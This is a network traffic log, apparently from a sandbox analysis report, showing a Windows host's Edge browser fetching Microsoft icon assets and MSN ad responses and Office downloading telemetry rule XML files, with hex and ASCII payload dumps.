2024-10-29 05:59:30 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49840	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:30 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5984f239-a01e-0048-0690-285a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055930Z-16849878b78qfbkc5yywmsbg0c00000005sg000000009wnv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49841	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:30 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 479a53aa-f01e-001f-392b-29b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055930Z-16849878b7828dsgct3vrzta7000000004m0000000003cyf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49838	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:30 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 192575bd-001e-0045-303d-29b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055930Z-16849878b7828dsgct3vrzta7000000004g000000000azff Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055930Z-17c5cb586f67hfgj2durhqcxk800000004xg00000000ba0b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49843	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: b14e1d55-401e-0078-709c-274d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055930Z-17c5cb586f65j4snvy39m6qus400000001c000000000be7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49842	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 395ac5b3-901e-0083-7e6a-27bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055930Z-r197bdfb6b46krmwag4tzr9x7c00000006100000000000a1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49848	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055930Z-16849878b78hh85qc40uyr8sc800000006e0000000005b4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49847	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055930Z-r197bdfb6b4bq7nf8dgr5rzeq400000001b000000000denm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49846	20.1.248.118	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=082392D97AE764340DA987FE7BEF6550&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=e1ef4011fe9c4470a54bb7ee52ee4a21 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1
2024-10-29 05:59:30 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 29 Oct 2024 05:59:30 GMT Connection: close
2024-10-29 05:59:30 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49851	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	634	OUT	GET /tenant/amp/entityid/BB1msMCf.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msMCf Last-Modified: Sun, 27 Oct 2024 01:50:34 GMT X-Source-Length: 121899 X-Datacenter: westus X-ActivityId: a6ac8e97-07b1-4d8c-8699-d55ed79623d9 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 121899 Cache-Control: public, max-age=244230 Expires: Fri, 01 Nov 2024 01:50:00 GMT Date: Tue, 29 Oct 2024 05:59:30 GMT Connection: close
2024-10-29 05:59:31 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
